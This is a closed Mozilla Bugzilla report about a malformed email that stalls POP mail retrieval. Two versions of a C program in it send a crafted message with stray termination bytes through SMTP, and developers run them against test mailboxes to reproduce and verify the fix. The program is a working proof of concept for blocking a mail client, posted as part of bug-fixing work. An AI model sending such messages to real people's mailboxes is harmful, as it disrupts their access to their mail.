Closed Bug 144560 Opened 22 years ago Closed 22 years ago

Bad mail blocks mail retrieving process

Categories

(MailNews Core :: Networking: POP, defect)

x86
Windows 2000
defect
Not set
normal

Tracking

(Not tracked)

VERIFIED DUPLICATE of bug 144228

People

(Reporter: naving, Assigned: naving)

Details

 
This program can be used to send that bad mail

#include <stdio.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
#include <signal.h>

#define MX "localhost"
#define EHLO "EHLO mx\r\n"
#define MAIL "MAIL FROM: root@localhost\r\n"
#define RCPT "RCPT TO: root@localhost\r\n"
#define DATA "DATA\r\n"
#define QUIT "QUIT\r\n"

#define PORT 25

int sock;
char buffer[255];

void SigCatch() {
    fprintf(stderr,"\b\bbye!\n");
    close(sock);
    free(buffer);
    exit(0);
}

int main() {
    /* I was too lame to implement the command line... :) */
    int i;
    struct sockaddr_in sout;
    struct hostent *hp;

    signal(SIGINT,SigCatch);

    hp=gethostbyname(MX);
    sock=socket(AF_INET,SOCK_STREAM,0);
    if (sock<0) {
        perror("sock");
        return -1;
    }

    sout.sin_family=AF_INET;
    sout.sin_port=htons(PORT);
    memcpy(&(sout.sin_addr),*(hp->h_addr_list),sizeof(struct in_addr));
    if (connect(sock,&sout,sizeof(sout))<0) {
        perror("connect");
        return -1;
    }
    recv(sock,buffer,255,MSG_OOB); /* receive the banner... */
    fprintf(stderr,buffer);

    send(sock,EHLO,sizeof(EHLO),MSG_OOB);
    recv(sock,buffer,255,MSG_OOB); /* receive the welcome message... */
    fprintf(stderr,buffer);

    send(sock,MAIL,sizeof(MAIL),MSG_OOB);
    recv(sock,buffer,255,MSG_OOB); /* receive the acknowledgement to mail from. */
    fprintf(stderr,buffer);

    send(sock,RCPT,sizeof(RCPT),MSG_OOB);
    recv(sock,buffer,255,MSG_OOB); /* idem, but for the rcpt to... */
    fprintf(stderr,buffer);

    send(sock,DATA,sizeof(DATA),MSG_OOB);
    recv(sock,buffer,255,0);
    fprintf(stderr,buffer);

    i=sprintf(buffer,"b4d maIl 1n
4KT1oN!\n\x0a\x0d\x2e\x0d\x20\x0a\x0a\nblabla...\x0a\x20");
    *(buffer+i)="\x0";
    sprintf(buffer+i+1,"\n.\n");
    send(sock,buffer,i+1+3,0); /* send the dumb thing ... */
    recv(sock,buffer,255,MSG_OOB);
    fprintf(stderr,buffer);

    send(sock,QUIT,sizeof(QUIT),MSG_OOB);
    recv(sock,buffer,255,MSG_OOB);
    fprintf(stderr,buffer);

    close(sock);

    return 0;
} 
I tried sending mail to 3qatest03@netscape.com using above program but didn't
get this bad mail. The program compiled and executed.  I did change RCPT TO:
3qatest03@netscape.com. 

elder8@afturgurluk.org can you send this bad message to 3qatest03@netscape.com ?
Ok, my soft was too fast with its' communication with a mx other than localhost,

this version is better, I already send message to 3qatest03@netscape.com

/* Bugzilla #144560
 * eldre8@afturgurluk.org
 */

#include <stdio.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <unistd.h>
#include <signal.h>

#define MX "smtp.nerim.net"   /* my isp mail server */
#define EHLO "EHLO mx\r\n"
#define MAIL "MAIL FROM: eldre8@afturgurluk.org\r\n"
#define RCPT "RCPT TO: 3qatest03@netscape.com\r\n"
#define DATA "DATA\r\n"
#define QUIT "QUIT\r\n"

#define PORT 25

int sock;
char buffer[255];

void SigCatch() {
    fprintf(stderr,"\b\bbye!\n");
    close(sock);
    exit(0);
}

int main() {
    /* I was too lame to implement the command line... :) */
    int i;
    struct sockaddr_in sout;
    struct hostent *hp;

    signal(SIGINT,SigCatch);

    hp=gethostbyname(MX);
    sock=socket(AF_INET,SOCK_STREAM,0);
    if (sock<0) {
        perror("sock");
        return -1;
    }

    sout.sin_family=AF_INET;
    sout.sin_port=htons(PORT);
    memcpy(&(sout.sin_addr),*(hp->h_addr_list),sizeof(struct in_addr));
    if (connect(sock,&sout,sizeof(sout))<0) {
        perror("connect");
        return -1;
    }
    sleep(1);
    recv(sock,buffer,255,MSG_OOB); /* receive the banner... */
    fprintf(stderr,buffer);

    sleep(1);
    send(sock,EHLO,sizeof(EHLO),MSG_OOB);
    sleep(1);
    recv(sock,buffer,255,MSG_OOB); /* receive the welcome message... */
    fprintf(stderr,buffer);

    sleep(1);
    send(sock,MAIL,sizeof(MAIL),MSG_OOB);
    sleep(1);
    recv(sock,buffer,255,MSG_OOB); /* receive the acknowledgement to mail from. 
*/
    fprintf(stderr,buffer);

    sleep(1);
    send(sock,RCPT,sizeof(RCPT),MSG_OOB);
    sleep(1);
    recv(sock,buffer,255,MSG_OOB); /* idem, but for the rcpt to... */
    fprintf(stderr,buffer);

    sleep(1);
    send(sock,DATA,sizeof(DATA),MSG_OOB);
    sleep(1);
    recv(sock,buffer,255,0);
    fprintf(stderr,buffer);

    sleep(1);
    i=sprintf(buffer,"b4d maIl 1n 
4KT1oN!\n\x0a\x0d\x2e\x0d\x20\x0a\x0a\nblabla...\x0a\x20");
    *(buffer+i)="\x0";
    sprintf(buffer+i+1,"\n.\n");
    send(sock,buffer,i+1+3,0); /* send the dumb thing ... */
    sleep(1);
    recv(sock,buffer,255,MSG_OOB);
    fprintf(stderr,buffer);

    sleep(1);
    send(sock,QUIT,sizeof(QUIT),MSG_OOB);
    sleep(1);
    recv(sock,buffer,255,MSG_OOB);
    fprintf(stderr,buffer);

    close(sock);

    return 0;
}
It worksforme both on trunk and mozilla 1.0 branch on win32 and on linux trunk
(few weeks old). I am able to receive those 2 messages you sent to
3qatest03@netscape.com and also receive any subsequent msgs I sent to this acct. 
it could be that our pop server doesn't let the bad mail out (or our smtp server
fixes it on the way in) - just a possibility to consider (i.e., try some other
pop/smtp server.
It cannot be the smtp server because elder is sending to 3qatest03@netscape.com and 
if our pop server is not sending bad data to us that is because it follows rfc
standards, shouldn't other pop servers also follow it. You cannot just play around
with termination octet and expect us to do right thing everytime.   

I had a yahoo pop server but yahoo has stopped allowing people to use other mail
clients to access their pop servers. Does anybody have some other pop server I
can use ?
eldre8, can you send that message again to shlrpop3@gmx.co.uk ? thanks
eldre8, did you send that message to shlrpop3@gmx.co.uk ?

*** This bug has been marked as a duplicate of 144228 ***
Status: NEW → RESOLVED
Closed: 22 years ago
Resolution: --- → DUPLICATE
eldre8 the message you sent to shlrpop3@gmx.co.uk is no longer in that mailbox,
Navin said that message showed the problem, can you send your bad mail to it
again so I can verify the fix for the dup bug.
Thanks esther
vrfy dup
Status: RESOLVED → VERIFIED
Product: MailNews → Core
Product: Core → MailNews Core
You need to log in before you can comment on or make changes to this bug.